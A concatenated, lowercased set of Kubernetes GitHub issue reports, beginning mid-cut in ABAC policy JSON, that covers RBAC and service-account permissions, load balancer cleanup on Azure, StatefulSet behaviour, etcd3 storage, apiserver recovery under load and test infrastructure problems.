\ monitoring\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ readonly\ : true, \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : \ users\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ readonly\ : true, \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : \ ota\ , \ namespace\ : \ ota\ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : \ pms\ , \ namespace\ : \ pms\ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : \ admin\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}\r {\ apiversion\ : \ abac.authorization.kubernetes.io/v1beta1\ , \ kind\ : \ policy\ , \ spec\ : {\ user\ : \  \ , \ group\ : \ prod-support\ , \ namespace\ : \  \ , \ resource\ : \  \ , \ apigroup\ : \  \ , \ nonresourcepath\ : \  \ }}   \r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3+coreos.0\ , gitcommit:\ 7819c84f25e8c661321ee80d6b9fa5f4ff06676f\ , gittreestate:\ clean\ , builddate:\ 2016-10-17t21:19:17z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r aws\r coreos\r linux xxx 4.7.3-coreos-r2  1 smp tue nov 1 01:38:43 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r kube-aws\r \r   what happened  :\r kube-dashboard failed to connect to api server.\r \r   what you expected to happen  :\r service account to authenticate to the kube api.\r \r   how to reproduce it    as minimally and precisely as possible :\r this i'm at a loss for, i couldn't seem to find any indication that it was misbehaving. \r \r   anything else do we need to know  :\r \r

test owners are assigned by the bot using a csv that is manually updated with a python script. some problems i have identified:\r \r 1. nothing requires the script to run when new tests are added or old tests are removed from the repo. \r 2. ~~i see verification failures in irrelevant  to test changes eg. https://github.com/kubernetes/kubernetes/pull/37091 + https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/37091/pull-kubernetes-verify/5177/build-log.txt  prs that block the prs from being added in the queue and that's frustrating. really strange because of 1.~~\r 3. running the python script adds me in a bunch of tests that i shouldn't be the maintainer of. test owners should be added automatically for new tests, when these tests are checked-in. or at least, the script should be smart enough to assign the creator of the test.\r \r @kubernetes/test-infra-admins @kubernetes/test-infra-maintainers @kubernetes/sig-testing

is this a request for help?   : no\r \r   what keywords did you search in kubernetes issues before filing this one?   : pvc, openstack, rbac\r \r ---\r \r   is this a bug report or feature request?   : bug report\r \r   kubernetes version    use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.4.666+461a8406a444e4-dirty\ , gitcommit:\ 461a8406a444e48fdec3c138f47a5f8b8abaf0c3\ , gittreestate:\ dirty\ , builddate:\ 2017-05-30t09:26:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-47-generic\r -   install tools  : kubeadm\r -   others  : n/a\r \r \r   what happened  : kube-controller-manager could not list nodes becase of missing permission for  persistent-volume-binder service account. \r \r \r   what you expected to happen  : persistent-volume-binder service account should be able to list nodes.\r \r \r   how to reproduce it    as minimally and precisely as possible : bootstrap a cluster with rbac and try to create cinder pvc on openstack.\r \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   description  :\r i think we should make cloudnodecontroller in pkg/controller/node_controller.go stoppable, which is in consistence with other controllers.\r

as  documented  https://kubernetes.io/docs/admin/service-accounts-admin/ token-controller , the token controller is responsible for automatically creating secrets to allow api access. while this is often useful for the user it may confuse tools which allow users to manage k8s resources. \r \r more specifically  terraform k8s provider  https://github.com/terraform-providers/terraform-provider-kubernetes  allows users to  manage service account  https://www.terraform.io/docs/providers/kubernetes/r/service_account.html  and define their own secrets for such service account. one of the main terraform's features is to generate a dry-run  plan  https://www.terraform.io/docs/commands/plan.html   diff between reality and user-defined config .\r \r it would be incredibly helpful when computing such diff if we could reliably tell the difference between a user-defined secret and a tokencontroller-managed one.\r \r this is why i'm proposing the token controller to add an extra annotation to those secrets, e.g.\r \r    \r kubernetes.io/service-account.controller-managed-secret: true\r    \r \r ------\r \r the current solution i implemented doesn't seem very elegant: https://github.com/terraform-providers/terraform-provider-kubernetes/blob/master/kubernetes/resource_kubernetes_service_account.go l85-l106 and i'd be grateful for getting a chance of cleaning it up. 🙂\r \r i'm willing to look into the implementation side of this - but i'm soliciting some feedback on this proposal before diving into code.\r \r -----\r \r  \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r code inspection caused me to notice test/e2e_node/environment/setup_host.sh is installing downloading an ancient util-linux in order to build nsenter in a hard coded directory under /tmp.\r \r   what you expected to happen  :\r \r a more current version of util-linux would be download into a /tmp directory with a securely generated name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r read the section of test/e2e_node/environment/setup_host.sh marked \ install nsenter for ubuntu images\ .\r \r   anything else we need to know?  :\r \r it's easy enough to use mktemp and download a newer util-linux and i have patches to do so.  an alternative might be to do something like https://github.com/jpetazzo/nsenter with nsenter via a container, but jpetazzo's container is also not actively curated and is using an old version of util-linux too.  it's probably not appropriate to simply calculate the latest util-linux and download it, versus a specific one by version.  but that means a steady stream of tweaks to update the version in use as new util-linux come out and are demonstrated to still be compatible.  would be a nice place to add ci as trusty's lts with a couple more years of support so this issue is unfortunately likely to hang around.\r \r   environment  :\r - os  e.g. from /etc/os-release : ubuntu trusty tahr\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when creating many loadbalancer services, some services may exceed azure basic lb's frontendipconfiguations quota  default is 10 . public ips are created for all services, but it is not removed after deleting the kubernetes services.\r \r    \r i0202 08:50:13.986196       1 service_controller.go:725  service has been deleted default/nginx35. attempting to cleanup load balancer resources\r e0202 08:50:13.986573       1 service_controller.go:218  error processing service default/nginx35  will retry : expected to find an ip address for service nginx35 but did not\r i0202 08:50:13.986618       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ nginx35\ , uid:\ eb4d9e3f-07eb-11e8-bb1d-000d3a19c1da\ , apiversion:\ v1\ , resourceversion:\ 3794301\ , fieldpath:\ \ } : type: 'normal' reason: 'deletingloadbalancer' deleting load balancer\r i0202 08:50:13.986759       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ nginx35\ , uid:\ eb4d9e3f-07eb-11e8-bb1d-000d3a19c1da\ , apiversion:\ v1\ , resourceversion:\ 3794301\ , fieldpath:\ \ } : type: 'warning' reason: 'deletingloadbalancerfailed' error deleting load balancer  will retry : expected to find an ip address for service nginx35 but did not\r    \r \r   what you expected to happen  :\r \r remove the public ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create more than 10 loadbalancer services, wait a while for 10 services success, and then remove all services.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r ensuring load balancer times out and repeats endlessly\r \r   what you expected to happen  :\r \r and error of some kind that will prevent helm from waiting until timeout\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an azure cluster with  --dns-label-prefix foo \r \r create a kubernetes deployment with a service with the annotation:\r  service.beta.kubernetes.io/azure-dns-label-name: bar \r relevant pr:\r https://github.com/kubernetes/kubernetes/pull/47849\r \r   anything else we need to know?  :\r \r so basically this issue occurs when there is a mismatch between the dns label prefix upon cluster creation and the value used with the annotation\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration: azure container services  aks \r - install tools: helm\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :   sig-cli  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance   sometimes fails testing on gce / kubernetes v1.8\r \r   what you expected to happen  : i would expect this test case to pass consistently, it is the only flaking test case.\r \r   how to reproduce it  as minimally and precisely as possible   : run the 1.8 conformance suite repeatedly.\r \r \r   anything else we need to know?  : example results here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-gce-conformance-latest-1-8/129\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.14-beta.0  sorry, this is the tag not  kubectl version  \r - cloud provider or hardware configuration: gce cluster up  with kubetest provider gce \r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r i followed https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/ however, dns lookup doesn't work at all.\r   what you expected to happen  :\r nslookup of web-0.nginx-service should resolve the ip\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.2\r - cloud provider or hardware configuration: localhost\r - os  e.g. from /etc/os-release : ubuntu 18.10\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: nginx-service\r   labels:\r     app: nginx-service\r spec:\r   ports:\r   - port: 80\r     name: web\r   clusterip: none   headless\r   selector:\r     app: nginx-service\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   servicename: \ nginx-service\ \r   podmanagementpolicy: \ parallel\    default is orderedready\r   replicas: 1   default is 1\r   selector:\r     matchlabels:\r       app: nginx-service   has to match .spec.template.metadata.labels\r   template:\r     metadata:\r       labels:\r         app: nginx-service   has to match .spec.selector.matchlabels\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: nginx-service\r         image: k8s.gcr.io/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: nginx-service-volume\r           mountpath: /usr/share/nginx/html\r   volumeclaimtemplates:\r   - metadata:\r       name: nginx-service-volume\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 10gi\r    \r \r @kubernetes/sig-network-bugs\r <!-- do not edit below this line -->\r 

i recently had reason to create a one way conversion  support multiple formats for external api values, but always convert to a standard internal api value .  it turns out the conversion generator logic does not properly recognize a conversion if only a one way conversion exists, you need to define conversions in both directions or it does not get used properly, forcing you to define a dummy conversion in the other direction.

follow-up from https://github.com/kubernetes/kubernetes/pull/10833 discussion_r38373600  worth revisiting pv claim indexing code to try and simplify it.  cc @thockin @markturansky

hello all,   first, apologies in advance if this is not as crisp and to the point question as i'd like. the reason for this \ fuzziness\  is that i am in the confusing stage of starting / making-sense. so, please bear with me :    my question is: i'm looking for guidance in writing a k8s plugin  particularly, a networking plugin . to start with a simple \ plugin\  that \ watches\  namespaces and services would do, with \ proper\   networking  plugin logic to be added later.   what i am looking for is:  - high-level guideline / walk-through the \ proper\  way to do this -- use of dedicated service accounts, api for config data, use of kubectl api  vs master api  etc.  this was just a quick list of things to consider that come to mind -- no idea what else is missing that i should consider. please advise.   - \ pedagogical\  scaffolding / bolierplate code that i can take a look at as an example on how a \ canonical\  plugin should look like   i've looked around but the only bits i found was  this readme  http://kubernetes.io/v1.1/docs/devel/readme.html . the  developer faq  https://github.com/kubernetes/kubernetes/wiki/developer-faq  on github is a \ todo\  from sept. 2014 :    kindest thanks in advance for the help and guidance,  /florian

from salt failure in https://github.com/kubernetes/kubernetes/issues/26135, we see that if the resource fetch from gcs failed, salt failed to stage the cni plugin tarball and did not retry.  filing this issue to follow up if we can tweak salt to retry fetching of network resources.    unable to manage file: error reading https://storage.googleapis.com/kubernetes-release/network-plugins/cni-c864f0e1ea73719b8f4582402b0847064f9883b0.tar.gz:  errno 101  network is unreachable    full log      jun  9 20:54:14 e2e-scalability-minion-group-vku6 startupscript:  info      running state  /opt/cni  at time 20:54:14.411942 jun  9 20:54:14 e2e-scalability-minion-group-vku6 startupscript:  info      executing state archive.extracted for /opt/cni jun  9 20:54:14 e2e-scalability-minion-group-vku6 startupscript:  info      running state  /var/cache/salt/minion/_opt_cni_bin.tar  at time 20:54:14.730021 jun  9 20:54:14 e2e-scalability-minion-group-vku6 startupscript:  info      executing state file.managed for /var/cache/salt/minion/_opt_cni_bin.tar jun  9 20:56:21 e2e-scalability-minion-group-vku6 startupscript:  error     unable to manage file: error reading https://storage.googleapis.com/kubernetes-release/network-plugins/cni-c864f0e1ea73719b8f4582402b0847064f9883b0.tar.gz:  errno 101  network is unreachable jun  9 20:56:21 e2e-scalability-minion-group-vku6 startupscript:  info      completed state  /var/cache/salt/minion/_opt_cni_bin.tar  at time 20:56:21.983536 jun  9 20:56:21 e2e-scalability-minion-group-vku6 startupscript:  error     unable to manage file: error reading https://storage.googleapis.com/kubernetes-release/network-plugins/cni-c864f0e1ea73719b8f4582402b0847064f9883b0.tar.gz:  errno 101  network is unreachable jun  9 20:56:21 e2e-scalability-minion-group-vku6 startupscript:  info      completed state  /opt/cni  at time 20:56:21.984182

restart docker on a loaded node, make sure non-host-network pods come back up. repeat a couple of time till we're sure we don't leak limited resources like ips.

what keywords did you search in kubernetes issues before filing this one?  :\r apiserver, configz \r \r   is this a request for help?  :  no\r \r   is this a bug report or feature request?    choose one : feature request\r \r i propose the creation of the  /configz  endpoint to the apiserver because it would expose configurations that would be particularly helpful to the operators as a debug tool, as well as make apiserver consistent with the other control plane components and so meet consistency. perhaps also include a flag that will turn this endpoint off, as established on other components.\r \r   kubernetes version    use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3.14+2519039388b2ac-dirty\ , gitcommit:\ 2519039388b2ac6afca701363531d6f50d6b422c\ , gittreestate:\ dirty\ , builddate:\ 2017-02-23t17:38:58z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ } \r \r \r

https://k8s-testgrid.appspot.com/sq-blocking node-kubelet\r only one green run out of the past 11 runs. \r \r potential offenders:\r https://github.com/kubernetes/kubernetes/compare/bce0718...5c168e2\r \r \r /cc @kubernetes/sig-node-bugs \r @derekwaynecarr @smarterclayton @ncdc  saw you guys discussed this on sig-node slack

the following logic is enforced in beforecreate:\r   if the incoming object has a namespace set in the body, it is required to match the actual namespace in the context  populated from the url .\r   if the incoming object has no namespace in the body, it is set to the namespace in the context  populated from the url \r \r before delegating to the standard create flow  which calls beforecreate , the rbac registries ensure the user has sufficient permissions at the scope they are creating/updating objects. they are performing those checks using the namespace from the object, not the context.\r \r this means if a rolebinding does not specify a namespace in the body, the user would be required to have cluster-wide bind permission  namespace=\ \  , rather than permissions within the specified namespace.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r etcd-3.0.4\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r   kubectl version                                                          \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vsphere\r -   os    e.g. from /etc/os-release : photon\r -   kernel    e.g.  uname -a  : linux master 4.4.8-esx\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r etcd-3.0.4 does not list registry\r cluster is healthy. able to create pod, delete pod, pv and pvc.\r after we delete pod, disk never gets detached from the node vm.\r \r   etcd-3.0.4  \r deployed kubernetes cluster v5.3.1 release using etcd-3.0.4\r able to create a pod, pv, pvc but when pod is deleted, disk is not getting detached from the node.\r \r    \r   etcdctl --endpoints=\ 127.0.0.1:2379\  cluster-health\r member 8e9e05c52164694d is healthy: got healthy result from http://127.0.0.1:2379\r cluster is healthy\r    \r \r    \r   etcdctl --endpoints=\ 127.0.0.1:2379\  ls registry\r error:  100: key not found  /registry   3 \r    \r \r \r \r   etcd-2.2.1  \r when same kubernetes cluster v5.3.1 is deployed using etcd-2.2.1, upon deleting pod, disk is getting detached from the node. we are also able list registry.\r \r    \r   etcdctl --endpoints=\ 127.0.0.1:2379\  cluster-health\r member ce2a822cea30bfca is healthy: got healthy result from http://127.0.0.1:2379\r cluster is healthy\r    \r \r    \r   etcdctl --endpoints=\ 127.0.0.1:2379\  ls registry\r /registry/events\r /registry/daemonsets\r /registry/storageclasses\r /registry/clusterrolebindings\r /registry/services\r /registry/pods\r /registry/controllers\r /registry/ranges\r /registry/namespaces\r /registry/serviceaccounts\r /registry/secrets\r /registry/replicasets\r /registry/clusterroles\r /registry/minions\r /registry/deployments\r /registry/persistentvolumeclaims\r /registry/persistentvolumes\r    \r \r \r   what you expected to happen  :\r registry should be created and retrieved from etcd\r \r \r   how to reproduce it    as minimally and precisely as possible :\r deploy kubernetes cluster using etcd-3.0.4, create pod with pv, and delete pod, pv should be detached from the node vm.\r \r   anything else we need to know  :\r \r logs:\r   etcd-3.0.4  \r  etcd-3.0.4.txt  https://github.com/kubernetes/kubernetes/files/903691/etcd-3.0.4.txt \r  api-server-etcd-3.0.4.txt  https://github.com/kubernetes/kubernetes/files/903692/api-server-etcd-3.0.4.txt \r  controller-3.0.4.txt  https://github.com/kubernetes/kubernetes/files/903693/controller-3.0.4.txt \r \r   etcd-2.2.1  \r  etcd-2.2.1.txt  https://github.com/kubernetes/kubernetes/files/903694/etcd-2.2.1.txt \r  api-server-etcd-2.2.1.txt  https://github.com/kubernetes/kubernetes/files/903695/api-server-etcd-2.2.1.txt \r  controller-2.2.1.txt  https://github.com/kubernetes/kubernetes/files/903696/controller-2.2.1.txt \r \r \r @tusharnt @baludontu @abrarshivani

environment  :\r - kubernetes version  use  kubectl version  : kubelet:1.7.2\r - os  e.g. from /etc/os-release : rancheros\r - kernel  e.g.  uname -a  : 4.9.34-rancher \r - in container: alpine:3.5\r \r error message:   find: unrecognized: -printf  \r \r kubelet\r \r    \r e0725 09:23:40.401790    3590 fshandler.go:121  failed to collect filesystem stats - rootdiskerr: <nil>, rootinodeerr: cmd  find /var/lib/docker/overlay/9336be9f84cd8fd7f8142319081dc064cec448aaf95f51ee678454d07469ad9c -xdev -printf .  failed. stderr: find: unrecognized: -printf\r busybox v1.25.1  2016-10-26 16:15:20 gmt  multi-call binary.\r \r usage: find  -hl   path ...  options   actions \r \r search for files and perform actions on them.\r first failed action stops processing of current file.\r defaults: path is current directory, action is '-print'\r \r \t-l,-follow\tfollow symlinks\r \t-h\t\t...on command line only\r \t-xdev\t\tdon't descend directories on other filesystems\r \t-maxdepth n\tdescend at most n levels. -maxdepth 0 applies\r \t\t\tactions to command line arguments only\r \t-mindepth n\tdon't act on first n levels\r \t-depth\t\tact on directory  after  traversing it\r \r actions:\r \t  actions  \tgroup actions for -o / -a\r \t! act\t\tinvert act's success/failure\r \tact1  -a  act2\tif act1 fails, stop, else do act2\r \tact1 -o act2\tif act1 succeeds, stop, else do act2\r \t\t\tnote: -a has higher  -o\r \t-name pattern\tmatch file name  w/o directory name  to pattern\r \t-iname pattern\tcase insensitive -name\r \t-path pattern\tmatch path to pattern\r \t-ipath pattern\tcase insensitive -path\r \t-regex pattern\tmatch path to regex pattern\r \t-type x\t\tfile type is x  one of: f,d,l,b,c,... \r \t-perm mask\tat least one mask bit  +mask , all bits  -mask ,\r \t\t\tor exactly mask bits are set in file's mode\r \t-mtime days\tmtime is greater than  +n , less than  -n ,\r \t\t\tor exactly n days in the past\r \t-mmin mins\tmtime is greater than  +n , less than  -n ,\r \t\t\tor exactly n minutes in the past\r \t-newer file\tmtime is more recent than file's\r \t-inum n\t\tfile has inode number n\r \t-user name/id\tfile is owned by given user\r \t-group name/id\tfile is owned by given group\r \t-size n bck \tfile size is n  c:bytes,k:kbytes,b:512 bytes def.  \r \t\t\t+/-n: file size is bigger/smaller than n\r \t-links n\tnumber of links is greater than  +n , less than  -n ,\r \t\t\tor exactly n\r \t-prune\t\tif current file is directory, don't descend into it\r if none of the following actions is specified, -print is assumed\r \t-print\t\tprint file name\r \t-print0\t\tprint file name, nul terminated\r \t-exec cmd arg ;\trun cmd with all instances of {} replaced by\r \t\t\tfile name. fails if cmd exits with nonzero\r \t-exec cmd arg + run cmd with {} replaced by list of file names\r \t-delete\t\tdelete current file/directory. turns on -depth option\r ; err: exit status 1, extradiskerr: <nil>\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r we created a statefulset with one replicas to start with, what we wanted to do is to change the label on the pod so that the service that will send traffic to this pod can be controlled depending on the labels that the pod has. later on we want to scale and have a hot standby where we do not want any traffic at all until failover is done. changing the label worked just fine but we lost the ownerreferences from the pod that points to the statefulset, and the statefulset is kind of broken after this since it does not see the pod anymore. we tried updating both with the kube api and with  kubectl edit .\r \r   what you expected to happen  :\r that the ownerreferences is kept when doing  kubectl edit  or patching with the kube api.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset with one replica, check out the pod with  kubectl get.... -o yaml .\r run  kubectl edit  on the pod and change or add  a label on the pod.\r check out the pod again with  kubectl get.... -o yaml  \r \r here is a diff showing this.\r    \r $ diff before.yaml after.yaml \r 21c21\r <     role: standby\r ---\r >     role: master\r 24,31c24\r <   ownerreferences:\r <   - apiversion: apps/v1beta1\r <     blockownerdeletion: true\r <     controller: true\r <     kind: statefulset\r <     name: foo-postgresql\r <     uid: 0f6b9000-9ed0-11e7-9f91-0800270e339d\r <   resourceversion: \ 469568\ \r ---\r >   resourceversion: \ 469642\ \r    \r \r \r   anything else we need to know?  :\r i am not sure if this is by design, that you should not update pods in a statefulset?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:09z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-09-07t18:20:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r minikube version: v0.22.0

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs \r @kubernetes/sig-api-machinery-bugs \r / \r   what happened  :\r \r in https://github.com/kubernetes/kubernetes/issues/56714 issuecomment-352756379 i killed  kube-apiserver  process in a 5000 node cluster under load  in the middle of replication controllers for a total of 150k pods ramping up .\r \r it is not able to recover. it seems that:\r 1.  presumably  its caches are cold, so\r 2. it is no longer able to respond to all requests  most responses in its log are 429s , i also see some 5xxs, so\r 3. its container liveness probe is failing, so it is being periodically killed by kubelet, so\r 4. it is not able to stay alive long enough to rebuild its caches, so - back to  1 \r \r   what you expected to happen  :\r \r it should have enough breathing room to recover. probably by a combination of:\r 1. bumping the  initialdelayseconds  in its  livenessprobe \r 2. clients  in particular kubelet  using exponential backoff\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r bring up a 5k-node cluster, start sig-scalability density test. when the number of running pods reported by the test reaches 100k, kill the  kube-apiserver  process on the master.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kubernetes-master juju layer harcodes old nginx-ingress-controller image:\r    \r     context 'ingress_image'  = \\     \r         \ gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.13\      \r     if arch   == 's390x':     \r         context 'ingress_image'  = \\     \r             \ docker.io/cdkbot/nginx-ingress-controller-s390x:0.9.0-beta.13\ \r    \r \r because of that deployed environment is affected by https://github.com/kubernetes/ingress-nginx/issues/1876 and possibly other nginx-ingress-controller bugs\r \r   what you expected to happen  :\r \r ideally i'd like the image to be configured using config option. if that's not possible i'd like the charm to be frequently updated so that it always uses latest stable image.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy  the kubernetes-worker juju charm with \ ingress=true\  config option.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-91-generic\r - install tools: juju\r - others:\r

the pod security policy capability test is using wrong cap format with  cap_  prefix.\r \r in our document, we explicitly say:\r    \r the following fields take a list of capabilities, specified as the capability name in all_caps without the cap_ prefix.\r    \r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/auth/pod_security_policy.go l237\r \r it fails for cri-containerd.\r \r i'll find out why it doesn't fail for docker, maybe docker has handled it.\r but we should fix the test anyway.\r \r @kubernetes/sig-node-bugs

